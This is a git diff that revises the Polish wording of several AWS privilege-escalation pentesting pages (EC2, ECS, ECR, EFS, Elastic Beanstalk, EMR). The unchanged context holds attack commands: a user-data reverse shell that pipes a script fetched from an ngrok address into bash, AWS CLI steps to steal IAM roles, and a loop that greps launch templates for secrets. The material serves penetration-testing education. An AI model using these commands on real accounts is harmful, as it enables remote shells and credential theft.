-Możesz użyć tego narzędzia do zautomatyzowania ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu migawki.
+Możesz użyć tego narzędzia do automatyzacji ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu migawki.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
index 4907dfa29..5b2008fe9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --count 1 \
 --user-data "file:///tmp/rev.sh"
 ```
-Bądź ostrożny z GuradDuty, jeśli używasz poświadczeń roli IAM poza instancją:
+Uważaj na GuradDuty, jeśli używasz poświadczeń roli IAM poza instancją:
 
 {{#ref}}
 ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -44,7 +44,7 @@ Bądź ostrożny z GuradDuty, jeśli używasz poświadczeń roli IAM poza instan
 
 #### Privesc do ECS
 
-Z tym zestawem uprawnień możesz również **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób usługi ECS będą **uruchamiane** wewnątrz **instancji EC2**, do której masz dostęp, a następnie możesz przeniknąć te usługi (kontenery dockerowe) i **ukraść ich przypisane role ECS**.
+Z tym zestawem uprawnień możesz również **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób usługi ECS **będą uruchamiane** w **instancji EC2**, do której masz dostęp, a następnie możesz przeniknąć te usługi (kontenery dockerowe) i **ukraść ich przypisane role ECS**.
 ```bash
 aws ec2 run-instances \
 --image-id ami-07fde2ae86109a2af \
@@ -59,7 +59,7 @@ aws ec2 run-instances \
 #!/bin/bash
 echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
 ```
-Aby nauczyć się, jak **wymusić uruchomienie usług ECS** na tej nowej instancji EC2, sprawdź:
+Aby dowiedzieć się, jak **wymusić uruchomienie usług ECS** na tej nowej instancji EC2, sprawdź:
 
 {{#ref}}
 aws-ecs-privesc.md
@@ -80,13 +80,13 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
 # Add role to instance profile
 aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
 ```
-Jeśli **profil instancji ma rolę** i atakujący **nie może jej usunąć**, istnieje inne obejście. Może **znaleźć** **profil instancji bez roli** lub **utworzyć nowy** (`iam:CreateInstanceProfile`), **dodać** **rolę** do tego **profilu instancji** (jak wcześniej omówiono) i **przypisać profil instancji** skompromitowanej do skompromitowanej i**nstancji:**
+Jeśli **profil instancji ma rolę** i atakujący **nie może jej usunąć**, istnieje inne obejście. Może **znaleźć** **profil instancji bez roli** lub **utworzyć nowy** (`iam:CreateInstanceProfile`), **dodać** **rolę** do tego **profilu instancji** (jak wcześniej omówiono) i **przypisać profil instancji** do skompromitowanej i**nstancji:**
 
 - Jeśli instancja **nie ma żadnego profilu** instancji (`ec2:AssociateIamInstanceProfile`) \*
 ```bash
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
-**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub specyficzny status profilu instancji).
+**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub określony status profilu instancji).
 
 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
 
@@ -108,7 +108,7 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<va
 
 ### `ec2:RequestSpotInstances`,`iam:PassRole`
 
-Atakujący z uprawnieniami **`ec2:RequestSpotInstances` i `iam:PassRole`** może **zażądać** **Spot Instance** z **przypisaną rolą EC2** i **rev shellem** w **danych użytkownika**.\
+Atakujący z uprawnieniami **`ec2:RequestSpotInstances` i `iam:PassRole`** może **zażądać** **Spot Instance** z **przypisaną rolą EC2** i **rev shell** w **danych użytkownika**.\
 Gdy instancja zostanie uruchomiona, może **ukraść rolę IAM**.
 ```bash
 REV=$(printf '#!/bin/bash
@@ -160,11 +160,11 @@ aws ec2 modify-instance-attribute \
 
 aws ec2 start-instances --instance-ids $INSTANCE_ID
 ```
-**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dowolnej roli IAM EC2 przypisanej do utworzonej instancji.
+**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli IAM EC2 przypisanej do utworzonej instancji.
 
 ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
 
-Napastnik z uprawnieniami **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** może stworzyć **nową wersję szablonu uruchamiania** z **rev shellem w** **danych użytkownika** i **dowolną rolą IAM EC2 na nim**, zmienić wersję domyślną, a **jakakolwiek grupa Autoscaler** **korzystająca** z tego **szablonu uruchamiania**, która jest **skonfigurowana** do używania **najświeższej** lub **domyślnej wersji**, **ponownie uruchomi instancje** korzystające z tego szablonu i wykona rev shell.
+Napastnik z uprawnieniami **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** może stworzyć **nową wersję szablonu uruchamiania** z **rev shellem w** **danych użytkownika** i **dowolną rolą IAM EC2 na nim**, zmienić wersję domyślną, a **dowolna grupa Autoscaler** **korzystająca** z tego **szablonu uruchamiania**, która jest **skonfigurowana** do używania **najświeższej** lub **domyślnej wersji**, **ponownie uruchomi instancje** korzystające z tego szablonu i wykona rev shell.
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -178,11 +178,11 @@ aws ec2 modify-launch-template \
 --launch-template-name bad_template \
 --default-version 2
 ```
-**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do innej roli EC2.
 
 ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
 
-Napastnik z uprawnieniami **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć konfigurację uruchamiania** z **rolą IAM** i **rev shellem** w **danych użytkownika**, a następnie **utworzyć grupę autoskalowania** z tej konfiguracji i czekać na rev shell, aby **ukraść rolę IAM**.
+Atakujący z uprawnieniami **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć konfigurację uruchamiania** z **rolą IAM** i **rev shellem** w **danych użytkownika**, a następnie **utworzyć grupę autoskalowania** z tej konfiguracji i czekać na rev shell, aby **ukraść rolę IAM**.
 ```bash
 aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
 --launch-configuration-name bad_config \
@@ -198,15 +198,15 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
 --desired-capacity 1 \
 --vpc-zone-identifier "subnet-e282f9b8"
 ```
-**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do innej roli EC2.
 
 ### `!autoscaling`
 
-Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do eskalacji** uprawnień do roli IAM, ponieważ aby dołączyć rolę określoną w Konfiguracji Uruchamiania lub w Szablonie Uruchamiania **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym privesc).
+Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do podniesienia** uprawnień do roli IAM, ponieważ aby dołączyć rolę określoną w Konfiguracji Uruchamiania lub w Szablonie Uruchamiania **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym podniesieniem uprawnień).
 
 ### `ec2-instance-connect:SendSSHPublicKey`
 
-Atakujący z uprawnieniem **`ec2-instance-connect:SendSSHPublicKey`** może dodać klucz ssh do użytkownika i użyć go do uzyskania dostępu (jeśli ma dostęp ssh do instancji) lub do eskalacji uprawnień.
+Atakujący z uprawnieniem **`ec2-instance-connect:SendSSHPublicKey`** może dodać klucz ssh do użytkownika i użyć go do uzyskania dostępu (jeśli ma dostęp ssh do instancji) lub do podniesienia uprawnień.
 ```bash
 aws ec2-instance-connect send-ssh-public-key \
 --instance-id "$INSTANCE_ID" \
@@ -217,7 +217,7 @@ aws ec2-instance-connect send-ssh-public-key \
 
 ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
 
-Atakujący z uprawnieniem **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać klucz ssh do połączenia szeregowego**. Jeśli port szeregowy nie jest włączony, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess`, aby go włączyć**.
+Atakujący z uprawnieniem **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać klucz ssh do połączenia szeregowego**. Jeśli port szeregowy nie jest włączony, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess, aby go włączyć**.
 
 Aby połączyć się z portem szeregowym, musisz również **znać nazwę użytkownika i hasło użytkownika** wewnątrz maszyny.
 ```bash
@@ -237,7 +237,7 @@ Ten sposób nie jest zbyt przydatny do privesc, ponieważ musisz znać nazwę u
 
 ### `describe-launch-templates`,`describe-launch-template-versions`
 
-Ponieważ szablony uruchamiania mają wersjonowanie, atakujący z uprawnieniami **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** mógłby je wykorzystać do odkrycia wrażliwych informacji, takich jak poświadczenia obecne w danych użytkownika. Aby to osiągnąć, poniższy skrypt przechodzi przez wszystkie wersje dostępnych szablonów uruchamiania:
+Ponieważ szablony uruchamiania mają wersjonowanie, atakujący z uprawnieniami **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** mógłby wykorzystać je do odkrycia wrażliwych informacji, takich jak poświadczenia obecne w danych użytkownika. Aby to osiągnąć, poniższy skrypt przechodzi przez wszystkie wersje dostępnych szablonów uruchamiania:
 ```bash
 for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
 do
@@ -250,13 +250,13 @@ echo
 done | grep -iE "aws_|password|token|api"
 done
 ```
-W powyższych poleceniach, chociaż określamy pewne wzorce (`aws_|password|token|api`), możesz użyć innego wyrażenia regularnego, aby wyszukiwać inne rodzaje wrażliwych informacji.
+W powyższych poleceniach, chociaż określamy pewne wzorce (`aws_|password|token|api`), można użyć innego wyrażenia regularnego do wyszukiwania innych typów wrażliwych informacji.
 
 Zakładając, że znajdziemy `aws_access_key_id` i `aws_secret_access_key`, możemy użyć tych poświadczeń do uwierzytelnienia w AWS.
 
 **Potencjalny wpływ:** Bezpośrednia eskalacja uprawnień do użytkownika IAM.
 
-## Referencje
+## References
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
index 81c7ae16a..4a77da6cf 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
@@ -20,7 +20,7 @@ Aby uzyskać więcej informacji na temat pobierania obrazów:
 
 Atakujący z wszystkimi tymi uprawnieniami **może zalogować się do ECR i przesłać obrazy**. Może to być przydatne do podniesienia uprawnień w innych środowiskach, w których te obrazy są używane.
 
-Aby dowiedzieć się, jak przesłać nowy obraz/aktualizować istniejący, sprawdź:
+Aby dowiedzieć się, jak przesłać nowy obraz/zaktualizować istniejący, sprawdź:
 
 {{#ref}}
 ../aws-services/aws-eks-enum.md
@@ -59,8 +59,8 @@ Zawartość `my-policy.json`:
 ```
 ### `ecr-public:SetRepositoryPolicy`
 
-Podobnie jak w poprzedniej sekcji, ale dla publicznych repozytoriów.\
-Atakujący może **zmodyfikować politykę repozytorium** publicznego repozytorium ECR, aby przyznać nieautoryzowany dostęp publiczny lub w celu eskalacji swoich uprawnień.
+Jak w poprzedniej sekcji, ale dla publicznych repozytoriów.\
+Atakujący może **zmodyfikować politykę repozytorium** publicznego ECR, aby przyznać nieautoryzowany dostęp publiczny lub w celu eskalacji swoich uprawnień.
 ```bash
 bashCopy code# Create a JSON file with the malicious public repository policy
 echo '{
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
index 92b91c445..f03dc40ee 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
@@ -12,7 +12,7 @@ Więcej **informacji o ECS** w:
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
 
-Napastnik nadużywający uprawnienia `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który kradnie dane uwierzytelniające metadanych i **uruchomić go**.
+Atakujący nadużywający uprawnienia `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który kradnie dane uwierzytelniające metadanych i **uruchomić go**.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -37,7 +37,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
 
 Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który kradnie dane uwierzytelniające metadanych i **uruchomić go**.\
-Jednak w tym przypadku, instancja kontenera do uruchomienia złośliwej definicji zadania musi być.
+Jednak w tym przypadku potrzebna jest instancja kontenera do uruchomienia złośliwej definicji zadania.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -92,13 +92,13 @@ aws ecs run-task \
 --cluster <cluster-name> \
 --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
 ```
-**Potencjalny wpływ:** Bezpośredni privesc do dowolnej roli ECS.
+**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli ECS.
 
 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
 Ten scenariusz jest podobny do poprzednich, ale **bez** uprawnienia **`iam:PassRole`**.\
-To wciąż jest interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet jeśli nie ma roli, możesz **uruchomić kontener z uprawnieniami, aby uciec** do węzła i **ukraść rolę IAM EC2** oraz **inne role kontenerów ECS** działających na węźle.\
-Możesz nawet **zmusić inne zadania do uruchomienia wewnątrz instancji EC2**, którą przejmujesz, aby ukraść ich poświadczenia (jak omówiono w [**sekcji Privesc do węzła**](aws-ecs-privesc.md#privesc-to-node)).
+To wciąż jest interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet jeśli jest to bez roli, możesz **uruchomić kontener z uprawnieniami, aby uciec** do węzła i **ukraść rolę EC2 IAM** oraz **inne role kontenerów ECS** działających na węźle.\
+Możesz nawet **zmusić inne zadania do uruchomienia wewnątrz instancji EC2**, którą przejmujesz, aby ukraść ich dane uwierzytelniające (jak omówiono w [**sekcji Privesc do węzła**](aws-ecs-privesc.md#privesc-to-node)).
 
 > [!WARNING]
 > Ten atak jest możliwy tylko wtedy, gdy **klaster ECS używa instancji EC2**, a nie Fargate.
@@ -144,10 +144,10 @@ aws ecs run-task --task-definition iam_exfiltration \
 ```
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
-Atakujący z **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **wykonywać polecenia** wewnątrz działającego kontenera i wyeksportować do niego przypisaną rolę IAM (potrzebujesz uprawnień do opisu, ponieważ jest to konieczne do uruchomienia `aws ecs execute-command`).\
-Jednakże, aby to zrobić, instancja kontenera musi działać z **agentem ExecuteCommand** (który domyślnie nie jest włączony).
+Atakujący z **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **wykonywać polecenia** wewnątrz działającego kontenera i wyeksportować przypisaną do niego rolę IAM (potrzebujesz uprawnień do opisu, ponieważ jest to konieczne do uruchomienia `aws ecs execute-command`).\
+Jednakże, aby to zrobić, instancja kontenera musi mieć uruchomionego **agenta ExecuteCommand** (który domyślnie nie jest uruchomiony).
 
-W związku z tym atakujący może spróbować:
+Dlatego atakujący może spróbować:
 
 - **Spróbować uruchomić polecenie** w każdym działającym kontenerze
 ```bash
@@ -178,7 +178,7 @@ Możesz znaleźć **przykłady tych opcji** w **poprzednich sekcjach privesc ECS
 
 ### `ssm:StartSession`
 
-Sprawdź na **stronie privesc ssm**, jak możesz nadużyć tej uprawnienia do **privesc do ECS**:
+Sprawdź na **stronie privesc ssm**, jak możesz nadużyć tej uprawnienia, aby **privesc do ECS**:
 
 {{#ref}}
 aws-ssm-privesc.md
@@ -186,7 +186,7 @@ aws-ssm-privesc.md
 
 ### `iam:PassRole`, `ec2:RunInstances`
 
-Sprawdź na **stronie privesc ec2**, jak możesz nadużyć tych uprawnień do **privesc do ECS**:
+Sprawdź na **stronie privesc ec2**, jak możesz nadużyć tych uprawnień, aby **privesc do ECS**:
 
 {{#ref}}
 aws-ec2-privesc.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
index 61f7b54d4..f01cb08d9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
@@ -14,7 +14,7 @@ Pamiętaj, że aby zamontować EFS, musisz znajdować się w podsieci, w której
 
 ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
 
-Dzięki któremuś z tych uprawnień atakujący może **zmienić politykę systemu plików**, aby **dać ci dostęp** do niego, lub po prostu **usunąć ją**, aby **przyznać domyślny dostęp**.
+Dzięki któremukolwiek z tych uprawnień atakujący może **zmienić politykę systemu plików**, aby **dać ci dostęp** do niego, lub po prostu **usunąć ją**, aby **przyznać domyślny dostęp**.
 
 Aby usunąć politykę:
 ```bash
@@ -64,18 +64,18 @@ Dodatkowe uprawnienia `elasticfilesystem:ClientRootAccess` i `elasticfilesystem:
 
 ### `elasticfilesystem:CreateMountTarget`
 
-Jeśli atakujący znajduje się w **podsieci**, w której **nie ma celu montowania** EFS, może po prostu **utworzyć jeden w swojej podsieci** z tym uprawnieniem:
+Jeśli atakujący znajduje się w **podsieci**, w której **nie istnieje punkt montażowy** EFS, może po prostu **utworzyć jeden w swojej podsieci** z tym uprawnieniem:
 ```bash
 # You need to indicate security groups that will grant the user access to port 2049
 aws efs create-mount-target --file-system-id <fs-id> \
 --subnet-id <value> \
 --security-groups <value>
 ```
-**Potencjalny wpływ:** Pośrednie privesc poprzez zlokalizowanie wrażliwych informacji w systemie plików.
+**Potencjalny wpływ:** Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w systemie plików.
 
 ### `elasticfilesystem:ModifyMountTargetSecurityGroups`
 
-W scenariuszu, w którym atakujący odkrywa, że EFS ma punkt montowania w jego podsieci, ale **żaden z grup zabezpieczeń nie zezwala na ruch**, mógłby po prostu **zmienić to, modyfikując wybrane grupy zabezpieczeń**:
+W scenariuszu, w którym atakujący odkryje, że EFS ma punkt montażowy w jego podsieci, ale **żaden z grup zabezpieczeń nie zezwala na ruch**, może po prostu **zmienić to, modyfikując wybrane grupy zabezpieczeń**:
 ```bash
 aws efs modify-mount-target-security-groups \
 --mount-target-id <value> \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
index 0a938f750..6268c9fc7 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
@@ -15,7 +15,7 @@ Więcej **informacji o Elastic Beanstalk** w:
 
 ### `elasticbeanstalk:RebuildEnvironment`, uprawnienia do zapisu w S3 i wiele innych
 
-Mając **uprawnienia do zapisu w koszyku S3** zawierającym **kod** środowiska oraz uprawnienia do **przebudowy** aplikacji (potrzebne jest `elasticbeanstalk:RebuildEnvironment` i kilka innych związanych z `S3`, `EC2` i `Cloudformation`), możesz **zmodyfikować** **kod**, **przebudować** aplikację, a następnym razem, gdy uzyskasz dostęp do aplikacji, **wykona ona twój nowy kod**, co pozwala atakującemu na kompromitację aplikacji i poświadczeń roli IAM.
+Mając **uprawnienia do zapisu w koszyku S3** zawierającym **kod** środowiska oraz uprawnienia do **przebudowy** aplikacji (potrzebne jest `elasticbeanstalk:RebuildEnvironment` i kilka innych związanych z `S3`, `EC2` i `Cloudformation`), możesz **zmodyfikować** **kod**, **przebudować** aplikację, a przy następnym dostępie do aplikacji **wykona ona twój nowy kod**, co pozwala atakującemu na kompromitację aplikacji i poświadczeń roli IAM.
 ```bash
 # Create folder
 mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -30,9 +30,9 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247
 # Rebuild env
 aws elasticbeanstalk rebuild-environment --environment-name "env-name"
 ```
-### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, i inne...
+### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole` i inne...
 
-Wymienione oraz kilka uprawnień **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** i **`elasticloadbalancing`** są niezbędne do stworzenia surowego scenariusza Elastic Beanstalk od podstaw.
+Wymienione oraz kilka **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** i **`elasticloadbalancing`** uprawnień są niezbędne do stworzenia surowego scenariusza Elastic Beanstalk od podstaw.
 
 - Utwórz aplikację AWS Elastic Beanstalk:
 ```bash
@@ -44,7 +44,7 @@ aws elasticbeanstalk create-environment --application-name MyApp --environment-n
 ```
 Jeśli środowisko zostało już utworzone i **nie chcesz tworzyć nowego**, możesz po prostu **zaktualizować** istniejące.
 
-- Spakuj kod aplikacji i zależności do pliku ZIP:
+- Spakuj swój kod aplikacji i zależności do pliku ZIP:
 ```python
 zip -r MyApp.zip .
 ```
@@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label
 ```
 ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
 
-Przede wszystkim musisz stworzyć **legitnym środowisko Beanstalk** z **kodem**, który chciałbyś uruchomić w **ofierze**, postępując zgodnie z **poprzednimi krokami**. Potencjalnie prosty **zip** zawierający te **2 pliki**:
+Przede wszystkim musisz stworzyć **legitnym środowisko Beanstalk** z **kodem**, który chciałbyś uruchomić w **ofierze**, zgodnie z **poprzednimi krokami**. Potencjalnie prosty **zip** zawierający te **2 pliki**:
 
 {{#tabs }}
 {{#tab name="application.py" }}
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
 {{#endtab }}
 {{#endtabs }}
 
-Gdy masz **swoje własne środowisko Beanstalk uruchomione** z twoim rev shellem, czas na **migrację** do środowiska **ofiary**. Aby to zrobić, musisz **zaktualizować politykę Bucket** swojego koszyka S3 Beanstalk, aby **ofiara mogła uzyskać do niego dostęp** (Zauważ, że to **otworzy** Bucket dla **WSZYSTKICH**):
+Gdy masz **własne środowisko Beanstalk uruchamiające** twoją powłokę rev, nadszedł czas, aby **migracja** do środowiska **ofiary**. Aby to zrobić, musisz **zaktualizować politykę Bucket** swojego koszyka S3 Beanstalk, aby **ofiara mogła uzyskać do niego dostęp** (Zauważ, że to **otworzy** Bucket dla **WSZYSTKICH**):
 ```json
 {
 "Version": "2008-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
index b07ebb97a..288f18c81 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
@@ -13,7 +13,7 @@ Więcej **informacji o EMR** w:
 ### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
 
 Atakujący z tymi uprawnieniami może **uruchomić nowy klaster EMR, dołączając role EC2** i próbować ukraść jego poświadczenia.\
-Należy zauważyć, że aby to zrobić, musisz **znać jakiś klucz prywatny ssh zaimportowany do konta** lub zaimportować jeden, i być w stanie **otworzyć port 22 w węźle głównym** (możesz być w stanie to zrobić za pomocą atrybutów `EmrManagedMasterSecurityGroup` i/lub `ServiceAccessSecurityGroup` w `--ec2-attributes`).
+Należy pamiętać, że aby to zrobić, musisz **znać jakiś klucz prywatny ssh zaimportowany do konta** lub zaimportować jeden, a także być w stanie **otworzyć port 22 w węźle głównym** (możesz to zrobić za pomocą atrybutów `EmrManagedMasterSecurityGroup` i/lub `ServiceAccessSecurityGroup` w `--ec2-attributes`).
 ```bash
 # Import EC2 ssh key (you will need extra permissions for this)
 ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
@@ -36,13 +36,13 @@ aws emr describe-cluster --cluster-id <id>
 # In MasterPublicDnsName you can find the DNS to connect to the master instance
 ## You cna also get this info listing EC2 instances
 ```
-Zauważ, jak **rola EMR** jest określona w `--service-role`, a **rola ec2** jest określona w `--ec2-attributes` wewnątrz `InstanceProfile`. Jednak ta technika pozwala tylko na kradzież poświadczeń roli EC2 (ponieważ połączysz się przez ssh), ale nie roli IAM EMR.
+Zauważ, jak **rola EMR** jest określona w `--service-role`, a **rola ec2** jest określona w `--ec2-attributes` wewnątrz `InstanceProfile`. Jednak ta technika pozwala tylko na kradzież poświadczeń roli EC2 (ponieważ połączysz się przez ssh), ale nie roli EMR IAM.
 
-**Potencjalny wpływ:** Privesc do roli serwisowej EC2 określonej.
+**Potencjalny wpływ:** Privesc do roli serwisowej EC2.
 
 ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
 
-Dzięki tym uprawnieniom atakujący może przejść do **konsoli AWS**, utworzyć Notatnik i uzyskać do niego dostęp, aby ukraść rolę IAM.
+Dzięki tym uprawnieniom atakujący może przejść do **AWS console**, utworzyć Notatnik i uzyskać do niego dostęp, aby ukraść rolę IAM.
 
 > [!CAUTION]
 > Nawet jeśli przypiszesz rolę IAM do instancji notatnika, w moich testach zauważyłem, że mogłem ukraść poświadczenia zarządzane przez AWS, a nie poświadczenia związane z rolą IAM.
@@ -51,7 +51,7 @@ Dzięki tym uprawnieniom atakujący może przejść do **konsoli AWS**, utworzy
 
 ### `elasticmapreduce:OpenEditorInConsole`
 
-Tylko z tym uprawnieniem atakujący będzie mógł uzyskać dostęp do **Jupyter Notebook i ukraść rolę IAM** z nim związaną.\
+Tylko z tym uprawnieniem atakujący będzie mógł uzyskać dostęp do **Jupyter Notebook i ukraść rolę IAM** z nią związaną.\
 URL notatnika to `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
 
 > [!CAUTION]
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
index b5be0d2f8..a4db37c75 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
